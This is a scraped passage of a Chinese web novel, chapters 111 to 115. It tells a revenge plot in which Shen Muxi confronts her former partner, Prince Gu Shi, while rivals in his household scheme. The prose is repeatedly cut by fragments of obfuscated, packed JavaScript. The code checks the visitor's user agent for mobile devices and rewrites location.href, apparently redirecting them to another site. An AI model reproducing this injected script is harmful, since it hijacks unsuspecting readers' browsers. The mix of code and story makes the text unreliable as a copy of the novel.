35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287829|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈十六慌忙跪地,“是属下的错,属下不该胡言乱语。” 看着陈十六低眉顺目的样子,顾时再一次想到追风。 一股憋闷气从胸腔涌到喉间,又被他生生咽了回去。 好一会,他才用稍微缓和一点的语气开口,“罢了,退下吧。” 在这里只会碍他的眼。 也不知道追风当初为什么会这么看重他? 陈十六退得悄无声息,连关门都不敢发出声响。 书房一片宁静。 顾时随手将密信揉成一团。 自从顾筱筱回来以后,顾时本来已经刻意淡忘了的记忆总是不经意跑出来。 以往他从不觉得自己对沈慕兮做的事情有什么不对。 又或 者说,他一直觉得,既然沈慕兮接受了他给她的名字,就是他的人,她为他做什么,都是理所应当的。 可是最近也不知道怎么的,只要一想到沈慕兮,一看到顾筱筱受委屈的模样,他的心里就一直发堵。 有时候堵得他连呼吸都费劲 “真的是来讨债的。” 他轻轻呼出一口气,跌坐回原位。 时间一晃过去了好几天。 自从那天从外头回来以后,虞悦希再也没有去找顾筱筱。 一切似乎风平浪静。 唯有顾时知道,一切都好像变得不一样了。 日子不紧不慢过去了好几天。 知道自己冤枉了顾筱筱。 顾时在头两天都有意放下身段想要去陪顾筱筱一起用早膳。 可当顾筱筱真的跟他用膳的时候,他又开始了莫名的烦躁。 无他,只因为她总是用那双蓄满泪水的眼眸看向他。 那委屈的模样,他仿佛看到了七个月前最后看到沈慕兮与她争吵的那一天 那时候,他分明还说过,若是他与溪溪真的有什么,就不会有她什么事 可如今不过只是七个月,他竟有种恍如隔世的感觉。 “好了,不过只是冤枉你这么一次,下次爹爹遇到事情之前,先听你的话,不再冤枉你,好不好?” 顾筱筱充耳不闻,连一个眼神都没有给顾时。 第111章 殿下放心,我绝对不会出尔反尔的 那种被忽略的感觉,实在是让人心堵。 顾时忍无可忍,抬手重拍桌案,“顾筱筱。” 他知道声音拔高没用,但是他就是控制不了自己想要发火的感觉。 顾筱筱明显被吓到了。 整个人弹跳了一下。 她如梦初醒一般对上顾时怒气冲冲的眼神,眼泪“啪嗒”一声掉下来了。 顾时此时还哪里记得女儿听不到声音? 他实在心烦,最后干脆甩袖而去。 从那天不欢而散至今,他已经三天没有去看女儿,只能从碧水苑的下人口中知道女儿现在的大概情况—— “小姐今日一天都在院子里。” “小姐今日找人要了纸笔,学画画。” “今天天狼冲了进去碧水苑,吓到了小姐” 金乌西沉,婆子站在书房外,低沉的禀报声清晰地传入顾时耳中。 那是碧水苑的一个管事婆子,姓张。 平日里专门负责顾筱筱的起居。 听到后面,顾时的眉心微跳,“落霞苑跟碧水苑不在同一个方向,天狼是怎么跑去那边的?” 其实,他更想问,筱筱到底是真被吓到了,还是说只是下人夸大其词? 他记得,天狼好像咬死过一只猫。 之前筱筱似乎曾经有过被天狼扑倒在地的经历,沈慕兮死活要他还筱筱跟那只猫一个公道,所以才有了后面他骗沈慕兮打死了天狼的事情。 可是后面,他也没有再听到过任何关于顾筱筱怕狗一类的事情。 原先他还以为,那是沈慕兮为了让筱筱向他争宠、吸引他注意力的把戏。 直到今天,张婆子又提起这个事情 时隔大半年,小孩子忘性大,应该早已经忘了当时的事情了吧。 “是天狼自己跑过去的,听悦悦小姐说,好像是碧水苑有什么东西吸引了天狼的注意 天狼跑到碧水苑门口就开始发狂,好几个下人才能拉住它” 婆子的声音重新将顾时拉回现实。 他抬手支着下巴,另一只手不轻不重地磕在书案上。 “可找到是什么东西吸引了天狼的注意了吗?” 张婆子一时半会猜不透顾时的意思,只好讷讷摇头,“并无。” “好了,本王知道了。” 顾时重新直起身子,“继续照顾好小姐,有其他事情再来禀报。” “是。” 张婆子退下之时,刚好碰到陈十六,两人眼神做了一个简短的交汇,又迅速恢复原状。 “王爷,属下已经打听过了,那个地方,是珍宝阁新东家的一个远房亲戚借住的。” “珍宝阁新东家的远房亲戚?”顾时一下子起了疑心。 珍宝阁背后的人,是显王。 而显王则是当今圣上的侄儿 前些天珍宝阁说换了新东家,他第一反应就是珍宝阁换了掌柜,可是细查之下,却发现,并非如此 到底是谁这么有能耐,能从显王手上买走珍宝阁? 之前早有消息说显王府早已不如从前 顾时微微握紧手上拳头又松开。 再次开口吩咐,“那个珍宝阁的新东家来历也神秘,再去细查。” 陈十六领命退下。 不多时,另外一名侍卫来报。 “王妃出门了。” “大晚上的,她要去哪?” “不知。” 看着沉沉暮色,顾时的神色凝重地跟着离开了。 书房外,把守森严。 侍卫们都在集中注意力看着各自负责的方位。 顾时离开没多久。 一个长相普通的圆脸小丫鬟提着食盒路过,被看守书房的侍卫拦下了。 “干什么的?” 小丫鬟笑得讨喜,朝侍卫提了提手上篮子。 “老王妃让奴婢给王爷送鸡汤” 到底也是老荣郡王妃那边的人。 侍卫不好拒绝,一把接过小丫鬟手上的汤,“王爷出去了,我会转交,请回吧。” 侍卫不近人情。 小丫鬟也不恼,看到一道黑影快如闪电隐没在黑暗中,她笑着跟侍卫道谢之后离开了。 京都城南的悦雅巷里的大部分二进宅子都是租赁出去的。 人情格外淡薄。 此时弦月高挂,其余宅子早已熄灯歇下。 唯有悦雅巷尽头那处雅致二进小宅子灯火悠悠。 沈慕兮一脸震惊地看着坐在自己面前的慕容景衍。 做梦没想到,她不过来京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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回去南渊? 沈慕兮恍悟——原来这厮是担心她来了北宸之后出尔反尔。 悬着的一颗心,总算放下。 她信誓旦旦三指向天,“殿下放心,我绝对不会出尔反尔的,说了回去就会回去。” 慕容景衍挑眉,“眼下已经是二月,你我婚期在四月,你确定,能赶得及?” 第112章 让他一无所有,如何? 男人突然手扶桌沿,欺身凑到沈慕兮面前。 沈慕兮甚至还能闻到从男人身上散发出来的药香——他这些天一直都有在服用她给他的药丸。 想法才从脑子里冒出来,沈慕兮的呼吸一下子被打乱了。 她心虚地别过脑袋,“这这不是还没到时候吗?” 慕容景衍“嗯哼”一声,吩咐下人在两人之间放了个小火炉,火炉上,架着一个注了水的小铜架,铜架上,是一套精美的温酒壶。 这 沈慕兮不解地看向慕容景衍。 后者则是不紧不慢地重新坐回原位。 “从北宸京都回去南渊,再快马加鞭也得大半个月,你确定能在一个月内把你在北宸的事情做完?” 生怕沈慕兮不知道,他继续提醒,“顾时现在家有娇妻,还是他曾经心心念念的白月光,即使这些日子他一直在找你母女,也不见得是因为对你母女在乎。” “我为何要他在乎?”沈慕兮反问,“只要他找我不就可以了?” 她回来,是要报复,而不是做善事的。 她要顾时求生不得,求死不能。 即使他不爱她,她也要他永远膈应枕边那个蛇蝎妇人。 想起苏柳溪,沈慕兮眼底的寒光又凛冽了几分。 看得一旁的贺鸿胆战心惊,满脸担忧地看向慕容景衍。 慕容景衍眼底闪过一抹复杂神色,很快恢复如常。 “那你还恨他吗?” 他没头没尾的一句话彻底问住了沈慕兮。 沈慕兮眼神微凝,带了几分迷茫。 恨吗? 也许。 当初还是魂体的时候,看着顾时对筱筱的忽视,任由苏柳溪母女算计筱筱,她每时每刻、连呼吸都在恨。 直到后面,她到了沈曦的身体里,想起筱筱惨死在她面前,那一阵锥心的痛像噩梦一样缠着她,她还是恨 只希望能够早日为沈曦复了仇,之后再杀回来北宸,倾尽一切也要让顾时跟整个荣郡王府陪葬 可是,自从知道筱筱没死之后,她的重心再次回去了筱筱身上 那段时间,她的脑子里,想的都是如何让筱筱醒过来 后来,沈曦将她的身体托付给她,让她做一切自己想做的事情 经历了种种之后。 她重新踏上这一片国土。 内心已经不是最初重生时候那样激进。 她要复仇。 筱筱醒了,不代表伤害没了。 她要让顾时,切实体会到她曾经的痛,她要让那些伤害过她们母女的人,与她们感同身受 如此,才能对得起她们母女受的苦难。 沈慕兮如实把自己的心境告诉了慕容景衍。 她故意让慕容景衍看清自己的真面目。 她想,任谁都不会想要一个睚眦必报的毒妇陪在身边。 尤其是慕容景衍这种从尸山血海中爬出来的人 “殿下,这次我回来,有你相助,如鱼得水。既然决定了回去南渊,我也在这里跟你讨个恩典,有朝一日,你得偿所愿,希望你可以放我与筱筱隐居山林。” 她笑得客气得体,眼神充满坚定与真诚。 慕容景衍避开她的目光,笑着摆了摆手,“眼下谈这些,还为时尚早,等到有那么一日再说。” 这明显就是怕她把事情搞砸了。 沈慕兮细想一下,收起玉佩,没有再多说其他。 屋里顿时陷入了安静。 红泥小火炉在温着暖酒。 碳火燃烧“噼啪”声,在安静的环境中格外明显。 今天的月色不算太好。 时值初春,夜里还是有些寒凉,残月挂在天上,连鬼都不愿意出来。 一个黑衣人几个起落,落在沈慕兮的小宅前院,将一卷陈旧的卷轴交给贺鸿。 贺鸿检查一番,确定没问题才交到慕容景衍手上。 慕容景衍当着沈慕兮的面接过打开,随即微微一笑,“好了,用不着住两三天了。” 他的主动开口,打破了两人之间尴尬的沉默。 沈慕兮好奇地看了一眼慕容景衍手上的东西。 “这是” 慕容景衍将手上东西收起来放好,一脸正色看向沈慕兮,“眼下你在这里最多只能给顾时受受刺激,找找麻烦,可是荣郡王府的尊荣还在,你甘心吗?” 沈慕兮听出了他的言外之意,看向慕容景衍的眼神带了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287831|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些期待。“殿下的意思是” 慕容景衍轻笑着将纸笺放到炭火上。 看着火舌将纸笺舔舐殆尽,才看向沈慕兮,“先给了他致命一击,咱们来访的时候,再让他一无所有,如何?” 也不知道是不是沈慕兮的错觉,她总觉得慕容景衍这次前来,似乎格外针对顾时。 不过,也正合她意。 “这是最好不过。” 慕容景衍笑着拿起面前酒壶,给沈慕兮倒了一杯,又给自己添了一杯,“那就先预祝我们合作顺利。” 看到他站起来敬酒,丝毫没有要留下来的意思,沈慕兮有点诧异,“你要连夜离开?” 不是说好了留下来两三天? 这会又走得这么突然 沈慕兮甚至有一种,慕容景衍这次来去匆匆,是为了见她跟筱筱一面的错觉 “东西拿到了,自然就没必要留下来。” 慕容景衍的话瞬间将沈慕兮拉回现实。 好吧 原来是为了拿重要的东西。 沈慕兮说不上来心里的是什么感觉。 只能干笑着举杯,“提前预祝我们合作顺利。” 甘醇的暖酒入喉,辛辣之中带了一丝回甘,沈慕兮只觉得一股暖意从胃里直达四肢,她满足地叹谓了一声。 “好酒。” 慕容景衍放下了酒杯,“本宫将贺玄留下,荣郡王府有本宫的人,贺玄贺月都知道,有需要吩咐的事情,只管找他们。” 如同来时一样,他的离开也是悄无声息。 沈慕兮从没觉得,一个人跟两个人在房间的区别那么大 直到红豆回来,沈慕兮还在看着眼前空空如也的位置在发呆。 “小姐,刚才来人了?” 沈慕兮回神。 “一个故人。” 她笑着糊弄了过去,将心里的奇怪感觉强行按捺下去。 摆在桌子上的红泥小火炉跟温酒的器具虽说精美,却也是宅子里自带的,红豆没有多想。 “人来了,就在巷口。” 听到红豆的话,沈慕兮的眼底瞬间覆上一层冷意,连带嘴角也不由自地勾起一抹冷笑。 “好,按计划行事。” 第113章 重遇:筱筱想你,我也...想你 “王爷,咱们还要等多久?”王英好奇地跟在顾时身后,看到顾时脸色不善,忍不住开口问道。 顾时的目光一瞬不瞬地落在悦雅巷。 刚才,他亲眼看着苏柳溪跟苏勇进去了悦雅巷。 纵然两人行色匆匆,可那对视的眼神,半点不清白。 他等了又等,等了足足一炷香,都没有看见二人出来的身影。 无数个场景、无数种可能在他的脑子里过了一遍。 他越想越气愤。 在王英的询问下,他最终还是按捺不住心里的冲动,拔腿冲向苏柳溪跟苏勇进去了的宅子。 被怒火蒙蔽了双眼的他,甚至没有注意到不远处的宅子开了门。 撞上了一个年近四十的中年妇人。 两人齐齐倒地。 不等他反应过来,身前就先传来了震天响的哭嚎。 “啊!!你个登徒子,流氓!!” 顾时生怕打草惊蛇,敛着脾气让王英出面处理了纠缠不休的中年妇人。 而他,则是抄另外一边,往苏柳溪的宅子而去。 才刚拐了个弯,另外一个宅子刚好也开了门。 出来了两个人。 “周老板放心,印泥都是一等一的好,咱们以后多的是合作的机会。” 那熟悉的声音。 顾时如遭雷击。 转头看到一身平民装束的沈慕兮笑着与一个身穿绸缎长袍的年轻男子道别。 他整个人像是被定在了原地。 沈慕兮似是没有想到在这种地方遇到顾时。 看到顾时的那一刻,她的脸上先是狂喜,很快敛去了笑意,惊恐地回去宅子里要关门。 “你别走。” 顾时上前挡住了她即将落闩的大门,“兮兮,我知道是你,开门。” 许是他的话起了作用,门后的力气突然消失。 顾时一个站立不稳,趔趄着摔了进去。 门口位置有一阶缺了石板,天黑路滑,顾时看不见,脚下一崴,顾时的双膝重重着地。 他顾不得膝上的疼痛,跪爬几步,总算抓住了沈慕兮的手。 “为何要躲着我。” 在顾时刚抓住沈慕兮的手的那一刻,他还能感觉到沈慕兮的拼命挣扎。 “兮兮,我们谈一谈。” 他几乎用尽全身力气去阻止她挣扎。 也不知道是他的用力起了作用,还是那句“谈一谈”发挥了功效。 沈慕兮总算没有再挣扎。 她别过脑袋,没有看顾时。 “我这次来,是想要接筱筱离开,放心,既然你没有承认过我跟筱筱的存在,我们母女二人也不会打扰你跟苏柳溪母女的。” “不是这样的。” 他费劲地扒住了身边藤架的一根主子,忍着剧痛颤颤巍巍地站了起来。 在站起来之前,他都满心期待地等待沈慕兮去搀扶他。 就像以前一样。 可惜,直到他完全站起来了,沈慕兮都只是愣愣地站在原地。 一动不动。 更过分的是,他好不容易站起来,朝她迈出一步。 她居然后退了两步。 顾时看着沈慕兮这个样子,一时之间,心中狂喜竟被一阵酸涩掩盖过去,万语千言却像是哽在喉间。 经历了猜测她遇到不测,之后她又被陷害,后来又下落不明,一直心心念念找不到她。 如今她就在眼前,顾时竟有一种如释重负的感觉。 在这一刻,仿佛之前的所有怨怼都烟消云散。 只要她还在自己面前 只要她以后还留在他的身边 “你这些天去哪?” 他心中狂跳,艰难地从喉间挤出一句话。 沈慕兮苦笑,“你与苏柳溪双宿双栖,我本想着回去丹阳好好过我的日子,没想到惨遭出卖,丹阳的产业被卖了。 好不容易以为自己再次遇到一颗可以托付终身的人,没想到又被骗去了南渊” 听着她的诉说,顾时的心像是被狠狠地敲了一闷棍,他忍不住打断,“筱筱现在在荣郡王府过得很好,她很想你” 我也 想你。 后面的话,看着沈慕兮通红的眼眶,顾时说不出口。 他想,只要他的眼神足够深情,沈慕兮肯定可以感觉到他的心意,就像以前一样。 不管发生什么事情,她总能在他身边,挽着他的手,用那双充满对他的爱意的眼眸看着他:我与你心有灵犀,有些话,你不说,我都懂。 “顾时,从你接纳苏柳溪留在荣郡王府的那一刻,我们就不会有可能了,以前是我傻,想不通这其中的关窍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287832|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后来想通了,我学乖了,不想再跟你纠缠。 这次回来,我也是为了带筱筱离开。” 沈慕兮“离开”二字一出口,顾时心里像是有一个角落瞬间坍塌了。 “你说什么?”他微颤着声音开口,仿佛在跟沈慕兮确认 他不明白,他不过只是权衡利弊的功夫,沈慕兮怎么会变得这么绝情? 沈慕兮转身不看顾时,眼底冷意随着她的声音倾泻而出,“筱筱被拐,我 寻了好久才知道,是你的人将她带走了,我一路追寻了一个多月才回来京都,念在我们相识一场,你放了我们母女吧。” 她的嗓音低沉,不看她的神色,任谁都以为她只是情绪低落。 包括顾时。 “不可能。” 几乎没有任何犹豫,他低喝出声,戳着竹竿上前就想要牵起沈慕兮的手。 “有什么事情,我们回去再说,你也不要做印泥了,我现在可以” “荣郡王让我回去,以什么身份?做妾吗?” 沈慕兮没有给他触碰的机会,一连两个问题,直接问倒了顾时。 顾时嘴巴微动,还未来得及解释,又听到她开口,“你现在与苏柳溪已经终成眷属,你还想要我怎样,难道你真的要逼死我们母女才安心?” “我不是这个意思”顾时急了。 “荣郡王,若是你一开始告诉我你的身份,我会及时止损,但是你没有,你理所应当地接受我的付出,最后却嫌弃我身份低微” 重新转身看向顾时的那一刻,沈慕兮已泪流满面。 顾时心虚地低下了头,不敢对上她破碎的眼神。 向来在沈慕兮面前巧舌如簧,此时他却说不出半个字。 沈慕兮一副“我就知道是这样的”的神色,抬手拭去脸上泪痕,恢复了刚才那副冷淡模样。 “筱筱,我会带走,我宁愿担一个寡妇的名头,也不可能让她成为一个妾生女或者外室女。” 顾时猛地抬头,“我可以给筱筱一个名分,为她请封县主。” “然后呢?” 沈慕兮直直地看向他,眼底讥诮毫不掩饰。 “之前,我与筱筱在荣郡王府就是连一个名分都没有,所以才会任由府上下人欺侮。如今,我与筱筱已经离开了,你却说要给她请封县主,顾时,你如今又要把苏柳溪置身何地?” 第114章 嫁给我,也是委屈你了 看到顾时不说话,沈慕兮又继续冷笑道,“还是说,你觉得自己现在已经有足够的能力与高位的人抗衡,让他赦免你的欺君之罪?” 她的一番话说得极为大逆不道,顾时当场变了脸色。 “你放肆。” “我放肆又如何,你要再杀我一次吗?”沈慕兮陡然拔高的声音掩盖了顾时的怒斥,似是要将这些天受到的委屈全数倾泻而出。 “没错,我这些天确实没在京都,可不代表我就是傻子。 你当初难道不就是因为否认了我与筱筱在丹阳的存在,所以才能顺利娶到苏柳溪吗?” 她一字一句的质问,像是刀子一样,毫不留情地飞向顾时,一时之间,顾时竟有些招架不住,连连后退。 “不是这样的,当初我把她当成是你”他急忙打断,话到一半,他的急切变为怨怼,“若非是你一直不回府上,我也不至于” 沈慕兮冷笑,“要是这么想能让荣郡王心里舒坦些,那你就这么想着吧。” 说完,她再次转身离开,这次,顾时直站在原地呆呆地看着沈慕兮的背影。 晚风袭来,带着冬日的寒意,寒意像是有生命一样,从骨头缝直击他的心底。 很快又转化成无边怒火——她怎么可以说出这样不负责任的话? 就在他想要追上去问清楚沈慕兮到底是什么意思的时候,沈慕兮又突然停下了脚步。 “顾时。” 她没有转身。 “我们都放过彼此吧,这样,我们还能保持彼此最后的体面。” “我不” “嘭——” 这一次,没有给他任何开口的机会,她进了屋,直接关上门,不再有其他声音。 顾时紧紧攥着手中拄棍,就在他考虑要不要继续上前之际,王英出现在他的身后。 “爷。” 顾时深深地看了一眼紧闭的屋门。 仰头将喉间哽意压下,“回吧。” 主仆很快离开了小院。 屋里门后。 慕容景衍似笑非笑地看着冷眼看向外头的女子。 “好一个爱而不得的深情女子,居然分开还要体面,连见顾时的宅子都得另外赁,你就不怕他真的就这么放过你?” “你不是离开了吗?” 沈慕兮连眼皮都没有掀,径自开门取了冷水,打算擦洗刚才沾满泪痕的脸蛋。 慕容景衍没有回答她的问题,而是上前夺过她手上占满冷水的帕子,换上一块带着热度的锦帛塞她手里。 “有条件过好日子,为何还要遭罪?” 沈慕兮反手将他带着暖意的锦帛扔进冷水里,再捞起,一丝不苟地用冷水洗去脸上的泪痕。 “太舒适了,会忘了以前遭过的罪。” 冷水可以让人保持头脑清醒。 她的语气淡淡,洗脸的时候连眉头都没有皱一下,甚至还开始在赶人,“殿下的笑话看完了,可以请了。” “你就这么不想见到本宫?”慕容景衍挑眉,语气还带了几分戏谑,“放心,本宫可不是那种吃着碗里还要看着锅里的人,本宫也没有所谓的白月光。” 沈慕兮拧帕子的手微微一顿,重新将帕子丢在铜盆,“你知不知道你很聒噪?” 今晚看到顾时,她已经很心烦,慕容景衍还来看笑话,沈慕兮自然不可能给他好脸色。 慕容景衍仿佛也看出了她心情不好,也没有与她计较。 “好了,本宫这次是真的要离开了,”他负手在沈慕兮面前缓缓走过,无视她那想要吃人的眼神,微笑着朝她挥了挥手,“南渊见。” 话音刚落,他一个提起,径自拔地而起三丈有余,足尖轻点枯树树梢,悄无声息地与黑夜融为一体。 沈慕兮屏息凝神,等了好一会都没人回来,终于忍不住“呸”了一声。 慕容景衍,好不要脸。 顾时看了大夫以后,失魂落魄回到了荣郡王府。 苏柳溪已经在府上。 听到顾时在她出门没多久又出了门以后,一颗心几乎提到了嗓子眼。 一看顾时回来,她立刻笑着迎上去。 “顾时哥,你这是去哪了?怎么这么晚回来?” 顾时不着痕迹地抽回了被她挽上的手,“你好奇我去哪里,我还好奇你去哪里了。” 苏柳溪脸上的假笑微微一僵,很快又恢复了正常,“勇弟突然回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287833|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,我去看看他。” “怎么,你们是有什么见不得人的关系?不能让他白天来王府问候,非要你半夜出去?” 苏柳溪一噎。 顾时以前从来不会用这种语气跟她说话,更不可能对她跟“苏勇”的关系起疑心 一股危机感从她的心底蔓延。 她僵着笑脸解释,“什么见得人不见得人的?顾时哥你到底在说什么? 之前我不是跟你提起过吗,父亲不允许勇弟去做游侠,奈何勇弟一意孤行,这不,回来的时候他想找父亲,但是父亲不想见他,只好在外头先赁宅子住下” “当真如此?” 顾时显然不信。 眼神充满了怀疑。 苏柳溪心底慌乱,脸上的笑 容再也挂不住了,“顾时哥,你什么意思?勇弟是我堂弟,我们之间,还能有什么见不得人的事情?” 说着,苏柳溪的眼眶瞬间变得通红,“你是不是,因为筱筱的事情,对悦悦不满,所以连带看我也不顺眼?” 这是苏柳溪第一次在顾时面前展现这样“咄咄逼人”的一面。 那委屈的神色,还有已经显怀的肚子,让顾时再一次对自己的判断有了怀疑。 今日见了沈慕兮,对苏柳溪,他的心中是带了一些理亏的。 “是我不好,最近事情太多,有点心烦意乱。”他放软了声音跟苏柳溪解释。 苏柳溪顺势让他拥入怀中,善解人意地点头,“我都懂的,顾时哥,可是,你要相信我,当初与你在一起,我也不是坐享其成的,我也听了许多不该让我听到的流言蜚语” “我知道的,嫁给我,也是委屈你了,”顾时温柔将她扶正,脸上的疲倦无论如何都掩盖不住,“我今日有些累了,先回房歇息。” 直到顾时走出好几步,苏柳溪才看出来顾时走路的姿势不对,一拐一瘸的,显然是伤了腿 结合顾时身上若有似无传来的药草味 她心中有所怀疑,面上还是挂着得体的笑容。 “顾时哥辛苦了,你先好好休息。” 顾时走远后。 苏柳溪唤来了陈十六。 “王爷今天去哪了?” 第115章 等恶犬 陈十六也是不久前才回来,自然不知顾时的去向,于是,他唤来了王英。 王英早在回来前得了顾时的命令,不允许将今晚外出看到的事情泄露出去。 他以为顾时说的是看到苏柳溪跟苏勇孤男寡女夜会的事情,在苏柳溪的注视下,他吱唔半天,将顾时今日去过悦雅巷遇见一个很奇怪的人事情说了出来。 是苏柳溪跟苏勇常年私会的地方就在悦雅巷。 苏柳溪的心一下子揪了起来。 “你确定王爷是跟一个女子交谈?而且还是进去那女子的小院以后,被拒之门外?” 王英点头,“属下虽然听不清王爷说什么,可明显感觉到被女子拒绝,王爷的神色十分低落。” 苏柳溪心头一紧,“可看清那女子的模样?” 王英摇头,“属下去到的时候,王爷的双膝已经摔伤了,因此在回来的时候才会耽误了一些时间。” 苏柳溪深深地看着王英,想要试图在他身上找些端倪。 奈何王英捂得严实,不管她怎么看,都没有发现破绽。 “好了,你退下吧。” 她扶腰在暖阁来回走动,心中暗暗盘算。 从府上去巷子里的宅子,不过只需要一炷香的时间。 如果真的跟踪她发现些什么,顾时肯定也不会像现在这么冷静。 而顾时回来,足足比她晚了小半个时辰。 不管是身上药味还是走路姿势,都在告诉她,他受伤了 那就只能说明一个情况——王英没有说谎。 虞悦希的话还在耳边。 苏柳溪心里一个激灵。 “难道,真的是她?” 不,不可能。 今晚她找苏勇,就是因为这个事情—— “悦悦说,她看到那个女人了。” 几乎是本能,苏勇脱口否认,“不可能。” 他斩钉截铁地开口,“当时我吩咐你身边的丫鬟,让她将沈慕兮的残骸都埋在冷院后专供下人使用的茅房,在污秽之物的镇压下,她连投胎的机会都没有,又怎么有复活的可能?” 再三肯定,苏勇依旧是同样的说辞。 苏柳溪选择了相信苏勇。 毕竟,按照他们如今的关系,苏勇不可能骗她 但是 顾时今天见的那个女人又是怎么回事? 不是沈慕兮,又会是谁? 越想越不安。 苏柳溪唤来了翠娥。 “当初是你负责将那人的骸骨埋下的?” 翠娥不知道苏柳溪为何突然这么问,点头,“奴婢亲自跟心腹一起去埋的。” 翠娥笃定的语气跟态度不似作假。 苏柳溪抿唇。 “这样,你遣人去挖开看看,实在不行,让大师做个法,超度了她。” 顿了顿,她又补充道,“这些天,找人去悦雅巷打听一下,最近在悦雅巷都搬去了些什么人。” 翠娥领命应下。 翌日。 前一天夜里主院暖阁发生的事情,不知道什么时候传开了。 虞悦希用早膳的时候听到小红提起顾时跟苏柳溪似乎有争吵的时候,她以为自己的耳朵出了问题。 “爹爹真的因为一个女人跟娘妻吵起来了?” 小红重重点头,“奴婢也觉得很不可思议,所以还特地问了其他人,连辛嬷嬷躲起来悄悄抹泪,说什么男人靠不住,王妃真的太委屈了” 辛婆子曾经伺候过苏柳溪。 即使非打即骂,虞悦希也从不会怀疑辛婆子对苏柳溪的忠诚。 连辛婆子都哭了,那说明问题确实大条。 虞悦希语气阴鸷,“那些人可有提及,到底是什么样的女人,能让我爹爹跟娘亲吵起来?” 小红瑟缩了一下,小声道,“似乎似乎是筱筱小姐的生母” “锵——” 不等小红的话说完,虞悦希已经将手中瓷碗重重砸到地上。 “筱筱筱筱,又是顾筱筱个贱人。” 在场伺候的丫鬟婆子全数跪下。 虞悦希面目狰狞地将桌上早点扫落在地。 很快,她又冷静下来。 “不,我不能自乱阵脚”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287834|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看着跪在自己面前瑟瑟发抖的小红,一个毒计再次在她脑海里自动生成。 “阿嚏——” 顾筱筱才刚用过早膳回房换衣裳,就扎扎实实打了个大喷嚏。 贺月恨不得将整床被子都裹在顾筱筱身上,“小姐,奴婢早就说了,现在夜里还是很冷,不要露脚出来,你昨天是不是又偷偷露脚出来了?” 她中气十足,完全没有昨天差点被顾时遣人打死的心有余悸。 顾筱筱乖乖地任由贺月为她穿衣,吸了吸鼻子,“也有可能是有人在骂我。” 贺月为顾筱筱穿衣的手顿了顿,“又是那对母女?” “还有那个住在荣辉堂的老王妃。”顾筱筱一本正经地补充,稚嫩的小脸上,写满了与实际年龄完全不相搭的正经神色。 贺月又是心疼又是想笑,“你还真是看得开。” “不然怎么办?找那位王爷告状?”提起顾时,顾筱筱忍不住 翻了个白眼,小声嘀咕,“找他说这些,我还不如直接偷偷去见娘亲。” “小姐,”贺月给她扣上衣服的最后一个扣子,一脸正色提醒,“咱们现在是在玩游戏,可不能提前把后面的人暴露了。” 顾筱筱瞪圆了眼睛,捂嘴点头,“筱筱知道。” 换好衣裳后,贺月带了几个加了料的肉包子,跟顾筱筱一同去了后花园。 两人从太阳刚升起一路逛到太阳移至树梢,后花园除了打理花草的下人,连个人影都没有。 “月姐姐,那条恶犬真的会来吗?”来来回回走了十多圈,顾筱筱累了。 贺月心疼地为顾筱筱拭去前额沁出的薄汗,“小姐,咱们再坚持坚持,很快就可以了。” 今日天还未亮,她就收到红豆递进来的信跟几丸褐色药丸,让她将药丸加在肉包子里,还让她带着小姐前来散步,等恶犬。 可是等了好半天,也没看到有恶犬 